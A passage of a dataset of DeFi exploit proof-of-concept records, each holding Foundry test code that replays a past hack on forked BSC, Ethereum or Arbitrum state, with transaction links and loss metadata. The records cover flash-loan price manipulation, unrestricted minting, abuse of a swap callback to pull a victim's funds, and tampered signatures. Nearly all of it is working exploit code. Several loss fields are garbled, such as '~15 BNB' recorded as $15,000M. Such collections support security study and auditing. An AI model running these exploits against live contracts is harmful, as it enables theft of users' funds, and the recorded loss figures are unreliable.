IERC20(0x9BDF251435cBC6774c7796632e9C80B233055b93);\n IERC20 constant BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IWBNB constant WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n\n uint256 flashAmt = 3300 ether;\n uint256 finalSaturnSellAmt = 228_832_951_945_080_091_523_153;\n\n modifier balanceLog() {\n emit log_named_decimal_uint(\"Attacker WBNB Balance Before exploit\", WBNB.balanceOf(address(this)), 18);\n _;\n emit log_named_decimal_uint(\"Attacker WBNB Balance After exploit\", WBNB.balanceOf(address(this)), 18);\n }\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 38_488_209 - 1);\n vm.label(address(SATURN), \"SATURN\");\n vm.label(address(WBNB), \"WBNB\");\n vm.label(address(router), \"PancakeSwap Router\");\n vm.label(address(pair_WBNB_SATURN), \"pair_WBNB_SATURN\");\n vm.label(address(pancakeV3Pool), \"pancakeV3Pool\");\n }\n\n function approveAll() public {\n SATURN.approve(address(router), type(uint256).max);\n WBNB.approve(address(router), type(uint256).max);\n }\n\n function EnableSwitch(\n bool state\n ) internal {\n vm.prank(SATURN_creater);\n address(SATURN).call(abi.encodeWithSignature(\"setEnableSwitch(bool)\", state));\n }\n\n function testExploit() public balanceLog {\n approveAll();\n // init saturn token\n\n EnableSwitch(false);\n\n vm.startPrank(holderOfToken);\n SATURN.transfer(attacker, SATURN.balanceOf(holderOfToken));\n vm.stopPrank();\n\n EnableSwitch(true);\n\n // start attack\n pancakeV3Pool.flash(attacker, 0, flashAmt, bytes(\"\"));\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n // Get the everyTimeSellLimitAmount from the SATURN contract\n uint256 limit = getEveryTimeSellLimitAmount();\n\n // Get the current balance of SATURN in the pair_WBNB_SATURN pool\n uint256 amount = SATURN.balanceOf(address(pair_WBNB_SATURN));\n\n // Define the swap paths\n address[] memory buyPath = getPath(address(WBNB), address(SATURN));\n address[] memory sellPath = getPath(address(SATURN), address(WBNB));\n\n // Calculate the amount of WBNB needed to swap for SATURN\n uint256[] memory amounts = router.getAmountsIn(amount - limit, buyPath);\n\n // Swap WBNB for SATURN and send the SATURN to the SATURN_creater\n swapExactTokensForTokens(amounts[0], buyPath);\n\n // Update the amount of SATURN in the pair_WBNB_SATURN pool\n amount = SATURN.balanceOf(address(pair_WBNB_SATURN));\n\n // Move the block number forward by 1\n vm.roll(block.number + 1);\n\n // Transfer a specific amount of SATURN to the pair_WBNB_SATURN pool\n SATURN.transfer(address(pair_WBNB_SATURN), finalSaturnSellAmt);\n\n // Get the current reserves of SATURN and WBNB in the pair_WBNB_SATURN pool\n (uint256 SATURN_reserve, uint256 WBNB_reserve,) = pair_WBNB_SATURN.getReserves();\n\n // Update the amount of SATURN in the pair_WBNB_SATURN pool\n amount = SATURN.balanceOf(address(pair_WBNB_SATURN));\n\n // Calculate the amount of WBNB that will be received when swapping SATURN\n amounts = router.getAmountsOut(amount - SATURN_reserve, sellPath);\n\n // Perform the swap in the pair_WBNB_SATURN pool and send the WBNB to the attacker\n pair_WBNB_SATURN.swap(0, amounts[1], attacker, bytes(\"\"));\n\n // Transfer WBNB to the pancakeV3Pool, including the fee\n WBNB.transfer(address(pancakeV3Pool), flashAmt + fee1);\n }\n\n function getEveryTimeSellLimitAmount() internal returns (uint256) {\n (, bytes memory result) = address(SATURN).call(abi.encodeWithSignature(\"everyTimeSellLimitAmount()\"));\n return abi.decode(result, (uint256));\n }\n\n function swapExactTokensForTokens(uint256 amountIn, address[] memory path) internal {\n router.swapExactTokensForTokens(amountIn, 0, path, SATURN_creater, type(uint256).max);\n }\n\n function getPath(address token0, address token1) internal pure returns (address[] memory) {\n address[] memory path = new address[](2);\n path[0] = token0;\n path[1] = token1;\n return path;\n }\n\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "SATURN", "date": "2024-05", "file_name": "SATURN_exp.sol", "attack_vector": null, "content_hash": "03a05901aa7a6bdb", "collected_at": "2026-01-07T10:59:16.541075", "_source": "postmortems", "chain": "bsc", "block_number": 38488209, "total_lost_raw": "~15 BNB", "total_lost_usd": 15000000000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0x948132f219c0a1adbffbee5d9dc63bec676dd69341a6eca23790632cb9475312", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "critical", "severity_raw": "~15 BNB", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n approveAll();\n // init saturn token\n\n EnableSwitch(false);\n\n vm.startPrank(holderOfToken);\n SATURN.transfer(attacker, SATURN.balanceOf(holderOfToken));\n vm.stopPrank();\n\n EnableSwitch(true);\n\n // start attack\n pancakeV3Pool.flash(attacker, 0, flashAmt, bytes(\"\"));\n }", "has_exploit_code": true, "keyinfo_total_lost": "~15 BNB", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0x948132f219c0a1adbffbee5d9dc63bec676dd69341a6eca23790632cb9475312", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$15000.00M", "content_richness_score": 7.72, "quality_estimate": "medium", "title": "SATURN Exploit (2024-05)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n// @KeyInfo - Total Lost : 1.7eth\n// Attack Tx : https://etherscan.io/tx/0x3bba4fb6de00dd38df3ad68e51c19fe575a95a296e0632028f101c5199b6f714\n\n// @Info\n \n\ninterface IBurner is IERC20 {\n function convertAndBurn(\n address[] calldata tokens\n ) external;\n}\n\ncontract ContractTest is Test {\n IBurner burner_ = IBurner(0x4d4d05e1205e3A412ae1469C99e0d954113aa76F);\n IERC20 usdt_ = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n IERC20 wbtc_ = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);\n IERC20 pnt_ = IERC20(0x89Ab32156e46F46D02ade3FEcbe5Fc4243B9AAeD);\n IWETH weth_ = IWETH(payable(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)));\n\n IUniswapV2Router router_ = IUniswapV2Router(payable(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)));\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 19_917_290);\n vm.deal(address(this), 0);\n }\n\n function testExploit() public {\n vm.deal(address(this), 70 ether); //simulation flashloan\n weth_.deposit{value: 70 ether}();\n weth_.approve(address(router_), type(uint256).max);\n pnt_.approve(address(router_), type(uint256).max);\n\n address[] memory path = new address[](2);\n path[0] = address(weth_);\n path[1] = address(pnt_);\n router_.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n weth_.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n\n console.log(\"=== ACK START ===\");\n address[] memory tokens = new address[](3);\n tokens[0] = address(0x0);\n tokens[1] = address(wbtc_);\n tokens[2] = address(usdt_);\n burner_.convertAndBurn(tokens);\n console.log(\"=== ACK END ===\");\n\n path[0] = address(pnt_);\n path[1] = address(weth_);\n router_.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n pnt_.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n\n weth_.transfer(address(0x01), 70 ether); // simulation repay flashloan\n emit log_named_decimal_uint(\"profit weth = \", weth_.balanceOf(address(this)), 18);\n }\n}\n", "type": "exploit_poc", "protocol": "Burner", "date": "2024-05", "file_name": "Burner_exp.sol", "attack_vector": "flash_loan", "content_hash": "d39b5d0020edc54e", "collected_at": "2026-01-07T10:59:16.541129", "_source": "postmortems", "chain": "ethereum", "block_number": 19917290, "total_lost_raw": "1.7eth", "total_lost_usd": 1.7, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://etherscan.io/tx/0x3bba4fb6de00dd38df3ad68e51c19fe575a95a296e0632028f101c5199b6f714", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "low", "severity_raw": "1.7eth", "category": "flash-loan", "exploit_code": "function testExploit() public {\n vm.deal(address(this), 70 ether); //simulation flashloan\n weth_.deposit{value: 70 ether}();\n weth_.approve(address(router_), type(uint256).max);\n pnt_.approve(address(router_), type(uint256).max);\n\n address[] memory path = new address[](2);\n path[0] = address(weth_);\n path[1] = address(pnt_);\n router_.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n weth_.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n\n console.log(\"=== ACK START ===\");\n address[] memory tokens = new address[](3);\n tokens[0] = address(0x0);\n tokens[1] = address(wbtc_);\n tokens[2] = address(usdt_);\n burner_.convertAndBurn(tokens);\n console.log(\"=== ACK END ===\");\n\n path[0] = address(pnt_);\n path[1] = address(weth_);\n router_.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n pnt_.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n\n weth_.transfer(address(0x01), 70 ether); // simulation repay flashloan\n emit log_named_decimal_uint(\"profit weth = \", weth_.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "1.7eth", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://etherscan.io/tx/0x3bba4fb6de00dd38df3ad68e51c19fe575a95a296e0632028f101c5199b6f714", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$2", "content_richness_score": 7.13, "quality_estimate": "medium", "title": "Burner Exploit (2024-05)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// Profit : ~180K USD\n// TX : https://app.blocksec.com/explorer/tx/bsc/0x3ad998a01ad1f1bbe6dba6a08e658c1749dabfa4a07da20ded3c73bcd6970d20\n// GUY : https://x.com/Phalcon_xyz/status/1795746828064854497\n// Vuln Contract: https://bscscan.com/address/0xEF1f39d8391cdDcaee62b8b383cB992F46a6ce4f\n\n// Root Cause: ```if (to == address(this) || to == erc721) {transform(value);}``` allows for unrestricted minting\n\naddress constant meta_token = 0xEF1f39d8391cdDcaee62b8b383cB992F46a6ce4f;\naddress constant router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\naddress constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\n\ncontract MetaDragonTest is Test {\n uint256 endTokenId = 40;\n\n function setUp() external {\n vm.createSelectFork(\"bsc\", 39_141_426);\n }\n\n function testExploit() public balance_log {\n for (uint256 i = 0; i < endTokenId; i++) {\n bytes memory calldatas = abi.encodeWithSignature(\"transfer(address,uint256)\", meta_token, i);\n // don't check return value\n meta_token.call(calldatas);\n }\n emit log_named_uint(\"attacker MetaToken balance\", IERC20(meta_token).balanceOf(address(this)));\n\n IERC20(meta_token).approve(router, type(uint256).max);\n address[] memory paths = new address[](2);\n paths[0] = meta_token;\n paths[1] = wbnb;\n\n IUniswapV2Router(payable(router)).swapExactTokensForTokensSupportingFeeOnTransferTokens(\n IERC20(meta_token).balanceOf(address(this)), 0, paths, address(this), block.timestamp\n );\n }\n\n modifier balance_log() {\n emit log_named_uint(\"attacker weth balance before\", IERC20(wbnb).balanceOf(address(this)));\n _;\n emit log_named_uint(\"attacker weth balance after\", IERC20(wbnb).balanceOf(address(this)));\n }\n}\n", "type": "exploit_poc", "protocol": "MetaDragon", "date": "2024-05", "file_name": "MetaDragon_exp.sol", "attack_vector": null, "content_hash": "29e1e34216f613dc", "collected_at": "2026-01-07T10:59:16.541174", "_source": "postmortems", "chain": "bsc", "block_number": 39141426, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public balance_log {\n for (uint256 i = 0; i < endTokenId; i++) {\n bytes memory calldatas = abi.encodeWithSignature(\"transfer(address,uint256)\", meta_token, i);\n // don't check return value\n meta_token.call(calldatas);\n }\n emit log_named_uint(\"attacker MetaToken balance\", IERC20(meta_token).balanceOf(address(this)));\n\n IERC20(meta_token).approve(router, type(uint256).max);\n address[] memory paths = new address[](2);\n paths[0] = meta_token;\n paths[1] = wbnb;\n\n IUniswapV2Router(payable(router)).swapExactTokensForTokensSupportingFeeOnTransferTokens(\n IERC20(meta_token).balanceOf(address(this)), 0, paths, address(this), block.timestamp\n );\n }\n\n modifier balance_log() {\n emit log_named_uint(\"attacker weth balance before\", IERC20(wbnb).balanceOf(address(this)));\n _;\n emit log_named_uint(\"attacker weth balance after\", IERC20(wbnb).balanceOf(address(this)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.96, "quality_estimate": "low", "title": "MetaDragon Exploit (2024-05)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \".././interface.sol\";\n\n// @KeyInfo - Total Lost : Lost: =>10000 USD(WINR tokens)\n// TX : https://app.blocksec.com/explorer/tx/arbitrum/0xf57f041cb6d8a10e11edab50b84e49b59ff834c7d114d1e049cedd654c36194d\n\n// Attacker :https://arbiscan.io/address/0xfeef112831cc8f790abe71b4b196c220ee26ecf3\n// Attack Contract :https://arbiscan.io/address/0x4fba400b95cd9e3d7e4073ad6e6bbaf41e640cdf\n// Vulnerable Contract :https://arbiscan.io/address/0x58637aaac44e2a2f190d9e1976e236d86d691542\n\n// @Analysis\n// https://x.com/ChainAegis/status/1796484286738227579\n\ninterface MixedSwapRouter {\n struct ExactInputParams {\n bytes path;\n address recipient;\n uint256 deadline;\n uint256 amountIn;\n uint256 amountOutMin;\n address[] pool;\n }\n\n struct SwapCallbackData {\n bytes path;\n address payer;\n address pool;\n }\n\n function swapTokensForTokens(\n ExactInputParams memory params\n ) external;\n function algebraSwapCallback(int256 amount0, int256 amount1, bytes calldata data) external;\n}\n\ncontract ContractTest is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IERC20 WINR = IERC20(0xD77B108d4f6cefaa0Cae9506A934e825BEccA46E);\n address owner;\n address victim = 0xb6d566c4d645ab640fc6Ac362f233dCFB5621f7C;\n MixedSwapRouter Swaprouter = MixedSwapRouter(0xE3E98241CB99AF7a452e94B9cf219aAa766e0869);\n\n function setUp() external {\n cheats.createSelectFork(\"arbitrum\", 216_881_055);\n }\n\n function testExploit() external {\n attack();\n }\n\n function attack() internal {\n address one = create_contract(1);\n }\n\n function cal_address(\n uint256 time\n ) internal returns (address) {\n bytes memory bytecode = type(Exploit).creationCode;\n uint256 _salt = time;\n bytecode = abi.encodePacked(bytecode);\n bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));\n address hack_contract = address(uint160(uint256(hash)));\n return hack_contract;\n }\n\n function create_contract(\n uint256 times\n ) internal returns (address) {\n uint256 i = 0;\n while (i < times) {\n bytes memory bytecode = type(Exploit).creationCode;\n uint256 _salt = i;\n bytecode = abi.encodePacked(bytecode);\n bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));\n address hack_contract = address(uint160(uint256(hash)));\n address addr;\n // Use create2 to send money first.\n assembly {\n addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)\n }\n i++;\n return hack_contract;\n }\n }\n\n receive() external payable {}\n}\n\ncontract Exploit is Test {\n IERC20 WINR = IERC20(0xD77B108d4f6cefaa0Cae9506A934e825BEccA46E);\n address owner;\n MixedSwapRouter Swaprouter = MixedSwapRouter(0xE3E98241CB99AF7a452e94B9cf219aAa766e0869);\n\n constructor() {\n owner = msg.sender;\n attacks();\n }\n\n function attacks() internal {\n address two = create_contract(2);\n address[] memory pools = new address[](1);\n pools[0] = address(two);\n MixedSwapRouter.ExactInputParams memory pgs = MixedSwapRouter.ExactInputParams({\n path: hex\"d77b108d4f6cefaa0cae9506a934e825becca46e000000d77b108d4f6cefaa0cae9506a934e825becca46e\",\n recipient: address(this),\n deadline: block.timestamp + 1000,\n amountIn: 10,\n amountOutMin: 10,\n pool: pools\n });\n Swaprouter.swapTokensForTokens(pgs);\n }\n\n function create_contract(\n uint256 times\n ) internal returns (address) {\n uint256 i = 0;\n while (i < times) {\n bytes memory bytecode = type(Moneys).creationCode;\n uint256 _salt = i;\n bytecode = abi.encodePacked(bytecode);\n bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));\n address hack_contract = address(uint160(uint256(hash)));\n address addr;\n // Use create2 to send money first.\n assembly {\n addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)\n }\n i++;\n return hack_contract;\n }\n }\n\n fallback() external payable {}\n}\n\ncontract Moneys is Test {\n IERC20 WINR = IERC20(0xD77B108d4f6cefaa0Cae9506A934e825BEccA46E);\n address owner;\n address Victim = 0xb6d566c4d645ab640fc6Ac362f233dCFB5621f7C;\n MixedSwapRouter Swaprouter = MixedSwapRouter(0xE3E98241CB99AF7a452e94B9cf219aAa766e0869);\n //Example/Attacker's address\n address test = 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496;\n\n event data(bytes data);\n\n constructor() {\n owner = msg.sender;\n }\n\n function fee() public returns (uint256) {\n return 0;\n }\n\n function token0() public returns (address) {\n return address(WINR);\n }\n\n function token1() public returns (address) {\n return address(WINR);\n }\n\n function swap(\n address recipient,\n bool zeroForOne,\n int256 amountSpecified,\n uint160 sqrtPriceLimitX96,\n bytes calldata data\n ) public returns (uint256, uint256) {\n emit log_named_decimal_uint(\"Vicitm WINR balance before exploit\", WINR.balanceOf(address(Victim)), 18);\n emit log_named_decimal_uint(\"Attacker WINR balance before exploit\", WINR.balanceOf(address(this)), 18);\n MixedSwapRouter.SwapCallbackData memory Params = MixedSwapRouter.SwapCallbackData({\n path: hex\"d77b108d4f6cefaa0cae9506a934e825becca46e000000d77b108d4f6cefaa0cae9506a934e825becca46e\",\n payer: address(Victim),\n pool: address(this)\n });\n bytes memory encodedParams = abi.encode(Params);\n Swaprouter.algebraSwapCallback(-20_057_735_863_910_611_438, 293_182_421_809_175_367_609_122, encodedParams);\n emit log_named_decimal_uint(\"Vicitm WINR balance after exploit\", WINR.balanceOf(address(Victim)), 18);\n emit log_named_decimal_uint(\"Attacker WINR balance after exploit\", WINR.balanceOf(address(this)), 18);\n WINR.transfer(address(test), WINR.balanceOf(address(this)));\n return (10, 10);\n }\n}\n", "type": "exploit_poc", "protocol": "MixedSwapRouter", "date": "2024-05", "file_name": "MixedSwapRouter_exp.sol", "attack_vector": null, "content_hash": "2269ea33e2814e6d", "collected_at": "2026-01-07T10:59:16.541229", "_source": "postmortems", "chain": "arbitrum", "block_number": 216881055, "total_lost_raw": "Lost: =>10000 USD(WINR tokens)", "total_lost_usd": 10000.0, "attacker_address": "https://arbiscan.io/address/0xfeef112831cc8f790abe71b4b196c220ee26ecf3", "attack_contract": "https://arbiscan.io/address/0x4fba400b95cd9e3d7e4073ad6e6bbaf41e640cdf", "vulnerable_contract": "https://arbiscan.io/address/0x58637aaac44e2a2f190d9e1976e236d86d691542", "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "Lost: =>10000 USD(WINR tokens)", "category": "unknown", "exploit_code": "function attack() internal {\n address one = create_contract(1);\n }", "has_exploit_code": true, "keyinfo_total_lost": "Lost: =>10000 USD(WINR tokens)", "keyinfo_attacker": "https://arbiscan.io/address/0xfeef112831cc8f790abe71b4b196c220ee26ecf3", "keyinfo_attack_contract": "https://arbiscan.io/address/0x4fba400b95cd9e3d7e4073ad6e6bbaf41e640cdf", "keyinfo_vulnerable_contract": "https://arbiscan.io/address/0x58637aaac44e2a2f190d9e1976e236d86d691542", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$10.0K", "content_richness_score": 8, "quality_estimate": "high", "title": "MixedSwapRouter Exploit (2024-05)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$18K\n// Attacker : https://bscscan.com/address/0xb9596d6e53d81981b9f06ca2ca6d3e422232d575\n// Attack Contract : https://bscscan.com/address/0x258850ec735f6532fe34fe24ef9628992a9b7e84\n// Vulnerable Contract : https://bscscan.com/address/0x5d78cfc8732fd328015c9b73699de9556ef06e8e\n// Attack Tx : https://bscscan.com/tx/0xa94338d8aa312ed4b97b2a4dcb27f632b1ade6f3abec667e3bf9f002a75dabe0\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x5d78cfc8732fd328015c9b73699de9556ef06e8e#code\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy : https://x.com/DecurityHQ/status/1791180322882629713\n// Hacking God :\n\ninterface ITCH is IERC20 {\n function burnToken(uint256 amount, uint256 nonce, bytes memory signature) external;\n}\n\ncontract ContractTest is Test {\n // Struct representing params for burnToken() flawed function\n // tamperedSig -> Signature with last byte replaced from '0x1c' (28) to '0x01' (1) or '0x1b' (27) to '0x00' (0)\n struct BurnInfo {\n uint256 amount;\n uint256 nonce;\n bytes tamperedSig;\n }\n\n Uni_Pair_V3 private constant BUSDT_USDC = Uni_Pair_V3(0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb);\n Uni_Router_V2 private constant PancakeRouter = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n ITCH private constant TCH = ITCH(0x5d78CFc8732fd328015C9B73699dE9556EF06E8E);\n IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n address private constant busdt_tch = 0xb7F1FFf722e68A6Fc44980f5D48d6d3Dbc1fe9cF;\n\n uint256 private constant flashAmount = 2_500_000e18;\n uint256 private constant blocknumToForkFrom = 38_776_239;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n vm.label(address(BUSDT_USDC), \"BUSDT_USDC\");\n vm.label(address(PancakeRouter), \"PancakeRouter\");\n vm.label(address(TCH), \"TCH\");\n vm.label(address(BUSDT), \"BUSDT\");\n }\n\n function testExploit() public {\n deal(address(BUSDT), address(this), 0);\n emit log_named_decimal_uint(\n \"Exploiter BUSDT balance before attack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n\n BUSDT_USDC.flash(address(this), flashAmount, 0, bytes(\"\"));\n\n emit log_named_decimal_uint(\n \"Exploiter BUSDT balance after attack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n BUSDT.approve(address(PancakeRouter), type(uint256).max);\n TCH.approve(address(PancakeRouter), type(uint256).max);\n uint256 transferAmount = BUSDT.balanceOf(address(this)) - 101e18;\n BUSDT.transfer(busdt_tch, transferAmount);\n BUSDTToTCH();\n // Manipulating price in pair by burning TCH tokens\n burnTCH();\n BUSDT.transfer(busdt_tch, BUSDT.balanceOf(address(this)));\n TCH.transfer(busdt_tch, TCH.balanceOf(address(this)));\n TCHToBUSDT();\n BUSDT.transfer(address(BUSDT_USDC), flashAmount + fee0);\n }\n\n function BUSDTToTCH() private {\n address[] memory path = new address[](2);\n path[0] = address(BUSDT);\n path[1] = address(TCH);\n\n PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(0, 0, path, address(this), block.timestamp);\n }\n\n function TCHToBUSDT() private {\n address[] memory path = new address[](2);\n path[0] = address(TCH);\n path[1] = address(BUSDT);\n\n PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(0, 0, path, address(this), block.timestamp);\n }\n\n function burnTCH() private {\n // Amounts, nonces and signatures obtained from regular txs to TCH token contract (burnToken() calls)\n // Example txs:\n // https://app.blocksec.com/explorer/tx/bsc/0x1b2d836049713075b8e46076331332d0bfe8ecfa5dfa94f1c5b0b70700e68d53\n // https://app.blocksec.com/explorer/tx/bsc/0x09cd1ee1ea50480b64176d36cf5565b00a7fb81dcaa3d2c89c3a9fdb601fbd0b\n BurnInfo[] memory burnInfos = new BurnInfo[](34);\n burnInfos[0] = BurnInfo({\n amount: 1_715_767_262,\n nonce: 150,\n tamperedSig: hex\"0efd44ce4fa2b7389c7564381508142c56f7d530e7432f3334079782a624f85e5caf8c20f1d306bc40aaf7dddd58e6748aff3c7677df3771674d57ab44e0dc3001\"\n });\n burnInfos[1] = BurnInfo({\n amount: 1_715_702_462,\n nonce: 141,\n tamperedSig: hex\"46cd2b22bedb9e54d3882d85dc85f3281df0cec898d9728829ea6203c152e41c7a9a0b86bc08bd596493fde9e4d6e762360f4fe39b009140e7c4c0d9b8910b7800\"\n });\n burnInfos[2] = BurnInfo({\n amount: 1_715_666_333,\n nonce: 134,\n tamperedSig: hex\"839dc8cd66305dcf5a4871fa1df471bb2d615937afc1ed485d74d5366543f6b2768868e1fad2d64994e37f59b9db5bd0a030e0d584e15135b0685d0afcf11ab601\"\n });\n burnInfos[3] = BurnInfo({\n amount: 1_715_666_345,\n nonce: 135,\n tamperedSig: hex\"2fde155a1bef6ec335cba439ba9d223f5002e367a0aa5462108250d822453a58503b5bad2010c75651cd30e4ab771708bfdc5433c1b85ff85165d48e8beabb8301\"\n });\n burnInfos[4] = BurnInfo({\n amount: 1_715_666_374,\n nonce: 136,\n tamperedSig: hex\"5b0f6186968871298acae759874a344673868b4266d10c8c2255354c92cf443c4a5183c1ec4ac82b45b809d10290f61b0e67627d83e2d0f9d01df435bb79db3b01\"\n });\n burnInfos[5] = BurnInfo({\n amount: 1_715_673_661,\n nonce: 137,\n tamperedSig: hex\"cbaf90d5a983d199fc8b04bb79a3ec9aa055f10b8173b67d28cfb7340b41f76711d115b172d148711538558cef0e51dd3fd131e1686ce5bc5c94534d6f39cf6300\"\n });\n burnInfos[6] = BurnInfo({\n amount: 1_715_688_062,\n nonce: 139,\n tamperedSig: hex\"a6922c3aea1c2982280ce3fd7e319c9e3f6baca1bc038b807ce883deb16b264a38522cd2f389d4e2ce6c60fe039fadd9e54ab587765499af9d9a7a1a637c919600\"\n });\n burnInfos[7] = BurnInfo({\n amount: 1_715_752_861,\n nonce: 148,\n tamperedSig: hex\"2c1d52a33d20a17f10b013661a5d78ebd98ff09aaf09cbc1e789d09688aecb8232e0447d7e6a62d77eea63346f8de3224c4d7f7d5f5ae6feb10c9d4ad94106a201\"\n });\n burnInfos[8] = BurnInfo({\n amount: 1_715_680_862,\n nonce: 138,\n tamperedSig: hex\"469ca637ef50c13155153addedada41927094f0c7f36c3bd3d6552cdef59891f7e8120d019868089a528711bff19dcf4d54f83940bbd168b705383649e07a26a00\"\n });\n burnInfos[9] = BurnInfo({\n amount: 1_715_695_261,\n nonce: 140,\n tamperedSig: hex\"a06a69e09da47842596352c8fa8172b72d841daced4acbeb877cc58e1b9956611fa64f51f681ca8285a09f451a9987e0adc1c7fb1a4155cce8bf76fc479462b700\"\n });\n burnInfos[10] = BurnInfo({\n amount: 1_715_709_662,\n nonce: 142,\n tamperedSig: hex\"5b48ad16a782c08871b98e3d77df9c06cc9ac4f0dae9f7292840f8ff0367f8ad7d8bef5208ef8dcf2313b08a5da6e1b68ad64bb8db9f285f04e6fad74516d8b201\"\n });\n burnInfos[11] = BurnInfo({\n amount: 1_715_716_862,\n nonce: 143,\n tamperedSig: hex\"5a18b410f1e206710d63405ce754a4a1e186b6e801bbdc34dc3b48d45983c4f43623915c8ea42bbb72f0126388e1efc3a4c08f4df1f69a33da14b0f3fc27b20200\"\n });\n burnInfos[12] = BurnInfo({\n amount: 1_715_731_261,\n nonce: 145,\n tamperedSig: hex\"e54d849fb44a31a7f07c44315ee753812f04f886cf0e14649bec980b178c612866a99bd6c3b92e0438e7d642bbf4906e5d57092e7da257239d351cbe55c126bc01\"\n });\n burnInfos[13] = BurnInfo({\n amount: 1_715_781_661,\n nonce: 152,\n tamperedSig: hex\"b277329b575b0b6e45f7d45d1a0bda7dd58130fdea4c4ce6ac215486f7ebef845e4fc127ee3ae32e3dc3080d62152533c42c0f807dea3d184f1d06bfd2a6192100\"\n });\n burnInfos[14] = BurnInfo({\n amount: 1_715_724_061,\n nonce: 144,\n tamperedSig: hex\"4833fbc5f7bdd563451ffa7ab9446462eb7ad5ff80d77884d54e4c2f95687e423eaf3eb428ea63cab52e0aa07dbf3c41ff31cd96086a9a524e837a3126578ec500\"\n });\n burnInfos[15] = BurnInfo({\n amount: 1_715_663_438,\n nonce: 133,\n tamperedSig: hex\"96cb16d7c315236b73e94679414eda1dd607e37e34ce49ec78f51e4ba046d28937d54a3fed689392a54707116bdcc505c0e0b0ad7dfeb96fd8a29450f10425d600\"\n });\n burnInfos[16] = BurnInfo({\n amount: 